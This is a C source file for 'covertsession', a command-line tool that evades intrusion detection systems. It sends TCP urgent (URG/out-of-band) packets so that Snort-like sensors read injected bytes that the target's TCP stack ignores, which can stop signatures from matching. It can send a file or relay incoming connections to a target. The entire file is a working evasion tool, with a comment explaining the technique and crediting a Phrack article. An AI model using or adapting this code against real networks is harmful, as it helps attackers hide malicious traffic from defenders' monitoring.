#include #include #include #include #include #include #include #include #include #include #include #include #define DEBUG 0 #define URG_SEND_BUFFER_SIZE 1450 #define READ_BUFFER_SIZE 1450 #define BACKLOG 20 #define VERSION "0.4" /* covertsession is a command line tool that allows you to create a TCP session that IDS sensors cannot parse correctly. What this tool lets you do is inject bytes into your outbound data stream that an IDS sensor will treat as part of the data stream but the remote OS will ignore. If used correctly it can cause a signature not to match. This tool provides command line options to control how bytes are injected. It can use a file as its source of input. Or it can listen on a local port, redirecting the TCP session covertly to an IP:Port specified on the command line. [How it works] TCP lets you send data as urgent. It marks urgent data by setting the URG flag in the TCP header on. It marks the end of the urgent data by setting the TCP header's urgent pointer to point to the last byte considered as urgent data. Some TCP stacks ignore the byte pointed to by the URG pointer. Some (I think most) IDS systems do not ignore the the byte pointed to by the URG pointer. [Credit] I first read about using URG packets like this in prack 0x39 (phrack 57) Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12 Here are some names from the article: Ko Young-Jun, Ko Sung-Jun, Ko Min-Sook Yoon Young-Min, Yoon Young and Oh Jae-Yong. (The first syllable is the last name in Korean) [Limitation] This program relies on the OS TCP/IP stack to send URG packets and with that said we have to live with one limitiation. The OS may impose a minimum timeout value between the sending of TCP URG packets that have small payloads. The OS is not going to send 20 TCP packets a second each with a one byte payload. It's going to try and pack as much data as it can into a single packet and if it is urgent data then it's going to use a single URG pointer for the entire payload. For the Linux 2.4.x kernel the minimum timeout is a full second. So if you want to inject two bytes back to back then you need to send two TCP URG packets back to back. And that means your data transmission needs to wait a full second. Using raw sockets would solve this problem. [IDS Tested] Snort 2.2 */ /* Version 0.1 - Wrote basic framework and basic parameter parser Version 0.2 - Added support for reading files and sending their content over a covert session Version 0.3 - Added support for binding and listening to a local socket - Added checking for valid target ip/port - Added better parameter parsing and checking - Added the -s switch Version 0.4 - Added support for realtime two way communication - Added an option for the sleep time between URG packets */ char *commandName; int option_o, option_u, option_n, option_c, option_p, option_v; unsigned int option_b,option_s = 0; int option_w = 1000; char *option_l; char *targetHost; char *targetPort; int bytesread; int totalread; int bytessent; int totalsent; int counter; int urgcounter; struct sockaddr_in target_addr; /* * Print the Usage message */ void printUsage() { printf("Version %s\n",VERSION); printf("By Javier G. Sanchez (jsanchez@dppublishing.com)\n"); printf("Usage: %s ([options] ip port) || -h\n",commandName); printf("Options:\n"); printf(" -o number of bytes to send befor sending first URG packets\n"); printf(" -u number of bytes (0 - %d) to insert into an URG packet\n",URG_SEND_BUFFER_SIZE); printf(" -n number of bytes from file to insert into a non URG packet\n"); printf(" -c number of URG packets to send, each URG packet is followed by a\n"); printf(" non URG packet of size specified by option -n\n"); printf(" -f file containing data to send over the covert session\n"); printf(" -d do not use URG packets, same as -u 0\n"); printf(" -b byte (0x00-0xFF) to pad URG packets with\n"); /* (Not used yet) printf(" -l local address to bind to, default is any\n"); */ printf(" -p port to listen on for incoming connections, data received on the\n"); printf(" connection will be sent to the remote host in a covert session\n"); printf(" -w time in mil. seconds to sleep after sending each URG packet, defualt\n"); printf(" is 1000, if set lower then the local TCP stack might clump multiple\n"); printf(" payloads together, so instead of sending many packet you send 1 big one\n"); printf(" and if they are URG packets then they have the extra byte too, not good\n"); printf(" -s skip reading data from the target\n"); printf(" -v verbose mode\n"); printf(" -h print this message\n"); } /* Print an error message and exit */ void printError(char *message){ printf("%s\n",message); printUsage(); exit(-1); } /* Executes the covert session Read from the input file descriptor and transmits out the output file descriptor setting the URG FLAG on certain packets according the command line options. Since the input could be a file the output must have the ability to redirect output from the target to STDOUT. */ int executeCovertSession(int inputFD, int redirectToSTDOUT){ char readBuffer[READ_BUFFER_SIZE]; char urgSendBuffer[URG_SEND_BUFFER_SIZE + 1]; int offsetCounter = 0; int urgCounter = 0; int child; /* Create a socket for the target */ int targetFD = socket(PF_INET,SOCK_STREAM,0); option_v && printf("Setting target socket options\n"); setsockopt(targetFD,SOL_TCP,TCP_NODELAY,NULL,-1); /* Connect to Target */ if(connect(targetFD, (struct sockaddr*) &target_addr, sizeof(target_addr)) != 0) printError("Unable to connect to target.\n"); /* Fork process, parent handles communication to target, child handles communication from target */ if(child = fork()){ /* Parent */ option_v && printf("Fored child with pid %d for sending data to target\n",child); int finishedReading = 0; /* Send offset */ offsetCounter = option_o; while(offsetCounter){ // Check if the readbuffer is empty if(bytesread == 0){ /* Read into the read buffer iether the greater of size offsetCounter or read buffer size */ if(offsetCounter <= sizeof(readBuffer)){ bytesread = read(inputFD,readBuffer,offsetCounter); } else { bytesread = read(inputFD,readBuffer,sizeof(readBuffer)); } totalread += bytesread; } /* Check if the readbuffer is still empty */ if(bytesread == 0){ printf("Never got to send data with the URG flag set\n",totalsent); finishedReading = 1; break; } bytessent = send(targetFD,readBuffer,bytesread,0); printf("Sent %d bytes in the offset\n",bytessent); offsetCounter -= bytessent; bytesread -= bytessent; // Should check that they are equal? totalsent += bytessent; } /* Read Buffer should be empty at this point*/ /* Send URG packets Set up the counter for the number of times we need to send URG packets */ if(!finishedReading){ for(urgCounter = 0; urgCounter < option_c; urgCounter++){ /* Read data from the input file descriptor into the URG buffer if option_u != 0 */ if(option_u != 0){ bytesread = read(inputFD,urgSendBuffer,option_u); if(bytesread == 0){ //printf("Finished: Bytes read: %d Bytes sent %d\n",totalread,totalsent); finishedReading = 1; break; } totalread += bytesread; option_v && printf("Read %d bytes from input source into URG buffer\n",bytesread); /* Set the last byte of the URG send buffer */ urgSendBuffer[option_u] = (char) option_b; /* Send the URG send buffer (the bytes read plus the option_b byte) in MSG_OOB mode */ bytessent = send(targetFD,urgSendBuffer,(bytesread + 1),MSG_OOB); totalsent += bytessent; option_v && printf("Sent %d bytes of data from the read buffer to the target using the URG flag\n",bytessent); /* Need to sleep because some TCP stacks need a few seconds between URG packets */ option_v && printf("Sleeping for %.3f seconds\n",((float) option_w)/1000); sleep(((float) option_w )/ 1000); } /* Read data from the file into the readbuffer if option_n != 0 */ if(option_n != 0){ bytesread = read(inputFD,readBuffer,option_n); if(bytesread == 0){ //printf("Finished: Bytes red: %d Bytes sent %d\n", totalread, totalsent); finishedReading = 1; break; } totalread += bytesread; option_v && printf("Read %d bytes from input into the read buffer\n",bytesread); /* Send the read buffer content */ bytessent = send(targetFD,readBuffer,bytesread,0); totalsent += bytessent; option_v && printf("Sent %d bytes of data from read buffer to target\n",bytessent); } } } /* Send the rest of the data */ if(!finishedReading){ option_v && printf("Sending the remainder of the input ...\n"); while(bytesread = read(inputFD,readBuffer,sizeof(readBuffer))){ totalread += bytesread; option_v && printf("Read %d bytes from read buffer\n",bytesread); bytessent = send(targetFD,readBuffer,bytesread,0); totalsent += bytessent; option_v && printf("Sent %d bytes\n",bytessent); } } /* Close file descriptors */ close(inputFD); close(targetFD); printf("Finished sending to target\n Total bytes Sent: %d\n Total bytes read from input: %d\n",totalsent,totalread); /* Reap the child process */ wait(NULL); }else{ /* Child */ /* Read from the target unless option s was specified */ if(!option_s){ int totalFromTarget = 0; int totalToRemote = 0; while( bytesread = read(targetFD,readBuffer,sizeof(readBuffer))){ totalFromTarget += bytesread; if(redirectToSTDOUT){ readBuffer[bytesread] = '\0'; printf("%s",readBuffer); }else{ bytessent = send(inputFD,readBuffer,bytesread,0); totalToRemote += bytessent; } } /* Close the file descriptors */ close(targetFD); close(inputFD); if(redirectToSTDOUT) printf("Finished reading from target, total bytes read from target: %d\n",totalFromTarget); else printf("Finished reading from target\n total bytes read from target: %d\n total bytes sent to connected host: %d\n",totalFromTarget,totalToRemote); } } return totalsent; } /* Accepts a Connection */ int acceptConnections(int lsfd, struct sockaddr *laddr, socklen_t *laddr_size_ptr){ int remotesockfd; char *char_ptr; pid_t pid; option_v && printf("Accepting connections on port %d\n",option_p); while(1){ //Sleep a bit so we don't peg the CPU in an endless loop sleep(1); //Check if any children have exited and if not move on waitpid(-1,NULL,WNOHANG); // Check if there is a connection in the queue if((remotesockfd = accept(lsfd,laddr,laddr_size_ptr)) > 0){ // Fork after accepting a connection pid = fork(); if(pid == 0){ //Child option_v && printf("Accepted a connection on port %d\n",option_p); /* Execute a covert session with the remote target using data read from the local socket */ executeCovertSession(remotesockfd,0); exit(0); }else if(pid < 0){ // Error printError("There was an error forking"); }else{ // Parent option_v && printf("Parent forked child with pid: %d\n",pid); // Close the remote socket or the parent will hang onto it and not allow it to // close even if the child closes it. close(remotesockfd); } }else if(errno != EAGAIN){ // Check if there was a real error and ignore the case of // there wasn't a socket in the queue printError("Error trying to accept a connection\n"); } } return totalsent; } /* Main */ int main(int argc, char *argv[]) { //char readbuffer[READ_BUFFER_SIZE]; //char urgsendbuffer[URG_SEND_BUFFER_SIZE + 1]; char *option_f; int option_d = 0; int useFile = 0; int x = 0; int fileInputFD; int targetPort; int sockfd; /* set the default option_l value (not utilzed yet)*/ option_l = "0.0.0.0"; // Set the global variable commandName commandName = argv[0]; // Zero out the server address bzero((char *)&target_addr, sizeof(target_addr)); // process the arguments if(argc < 3 ){ printError("Invalid number of arguments\n"); }else{ // Check the options int listSize = argc - 2; for(x = 1; x < listSize; x++) { if(strcmp(argv[x],"-o") == 0){ x++; if(x==listSize) printError("Missing an argument after -o\n"); if(!sscanf(argv[x],"%d",&option_o)) printError("Need a decimal number after -o\n"); if(option_o < 0) printError("Cannot use a negative number with -o\n"); DEBUG && printf("Found -o: %d\n",option_o); }else if(strcmp(argv[x],"-u") == 0){ x++; if(x == listSize) printError("Missing an argument after -u"); if(!sscanf(argv[x],"%d",&option_u)) printError("Need a decimal number after -u\n"); if(option_u < 0) printError("Cannot use a negative number with -u\n"); if(option_u > URG_SEND_BUFFER_SIZE){ printf("The size of the urgent buffer is not big enough for %d bytes of data",option_u); printf("Reseting the value from %d to %d\n",option_u,URG_SEND_BUFFER_SIZE); option_u = URG_SEND_BUFFER_SIZE; } DEBUG && printf("Found -u: %d\n",option_u); }else if(strcmp(argv[x],"-n") == 0){ x++; if(x == listSize) printError("Missing an argument after -n"); if(!sscanf(argv[x],"%d",&option_n)) printError("Need a decimal number after -n"); if(option_n < 0) printError("Cannot use a negative number with -n\n"); DEBUG && printf("Found -n: %d\n",option_n); }else if(strcmp(argv[x],"-c") == 0){ x++; if(x == listSize) printError("Missing an argument after -c\n"); if(!sscanf(argv[x],"%d",&option_c)) printError("Need a decimal number after -c\n"); if(option_c < 0) printError("Cannot use a negative number with -c\n"); DEBUG && printf("Found -c: %d\n",option_c); }else if(strcmp(argv[x],"-p") == 0){ x++; if(x == listSize) printError("Missing an argument after -p\n"); if(!sscanf(argv[x],"%d",&option_p)) printError("Need a decimal number after -p\n"); if(option_p < 0 || option_p > 65535) printError("Local port out of range\n"); }else if(strcmp(argv[x],"-w") == 0){ x++; if(x == listSize) printError("Missing an argument after -p\n"); if(!sscanf(argv[x],"%d", &option_w)) printError("Need a decimal number after -w\n"); if(option_w < 0) printError("-w requires a positive number\n"); }else if(strcmp(argv[x],"-l") == 0){ x++; if(x == listSize) printError("Missing an argument after -l\n"); if(!sscanf(argv[x],"%s",&option_l)) printError("Need a host name or IP after -l\n"); /* Check if the host is a valid host name here*/ }else if(strcmp(argv[x],"-s") == 0){ // don't increment x here because this option doesn't take any // parameters option_s = 1; DEBUG && printf("Found -s\n"); }else if(strcmp(argv[x],"-f") == 0){ x++; if(x == listSize) printError("Missing an argument after -f\n"); option_f = argv[x]; // Test if the file exists if((fileInputFD = open(option_f,O_RDONLY))< 0) printError("File does not exist or is not readable\n"); useFile = 1; DEBUG && printf("Found -f: %s\n",option_f); }else if(strcmp(argv[x],"-d") == 0){ // dont increment x here because this option doesn't take any // parameters option_d = 1; DEBUG && printf("Found -d: %d\n",option_d); }else if(strcmp(argv[x],"-b") == 0){ x++; if(x == listSize) printError("Missing an argument after -b\n"); if(!sscanf(argv[x],"%i",&option_b)) printError("Need a Hex number 0x00-0xFF with -b\n"); if(option_b < 0) printError("The Hex number cannot be negative\n"); DEBUG && printf("Found -b: %i\n",option_b); }else if(strcmp(argv[x],"-v") == 0){ option_v = 1; DEBUG && printf("Found -v: %i\n",option_v); }else if(strcmp(argv[x],"-h") == 0){ // The user is asking for help so print it out and exit printError(""); }else{ char temp[350]; sprintf(temp,"To many arguments, unknown option, or you have a missing option at or near %s\n",argv[x]); printError(temp); } } } // Check if useFile or option_p are specified but not both if(useFile && option_p) printError("You cannot specify both a file and a local port at the same time\n"); else if(!useFile && !option_p) printError("You must specify a file or a local port to listen on\n"); /* If option d was set then we need to set option u = 0 */ if(option_d) option_u = 0; // Check the target ip parameter target_addr.sin_family = AF_INET; target_addr.sin_addr.s_addr = inet_addr(argv[argc - 2]); option_v && printf("Setting Target IP: %s\n",argv[argc - 2]); if(target_addr.sin_addr.s_addr == -1) printError("Invalid IP Address\n"); // Check the target port paramter if(sscanf(argv[argc - 1],"%d",&targetPort) == 0) printError("The target port must be an integer\n"); if( targetPort > 65535 || targetPort < 0) printError("The target port is out of the range of valid ports, [0 - 65535]\n"); option_v && printf("Setting Target Port: %d\n",targetPort); target_addr.sin_port = htons(targetPort); if(useFile){ /* Execute the covert session with the file data */ executeCovertSession(fileInputFD,1); }else if(option_p){ option_v && printf("Setting up the local socket file descriptor\n"); int localsockfd = socket(PF_INET,SOCK_STREAM,0); /* Set the socket to non-blocking */ fcntl(localsockfd,F_SETFL,O_NONBLOCK); option_v && printf("Binding the local socket to port %d on any IP \n",option_p); struct sockaddr_in local_addr; local_addr.sin_family = AF_INET; if(inet_aton("0.0.0.0",&local_addr.sin_addr) == 0) printError("The local IP specified is not valid\n"); local_addr.sin_port = htons(option_p); socklen_t local_addr_socklen_t = sizeof(local_addr); if(bind(localsockfd,(struct sockaddr *) &local_addr,local_addr_socklen_t) == -1) printError("Could not bind local socket to port\n"); option_v && printf("Setting up local socket for listening\n"); listen(localsockfd,BACKLOG); /* Call the function that handles incoming connections */ acceptConnections(localsockfd, (struct sockaddr *) &local_addr,&local_addr_socklen_t); } return 0; }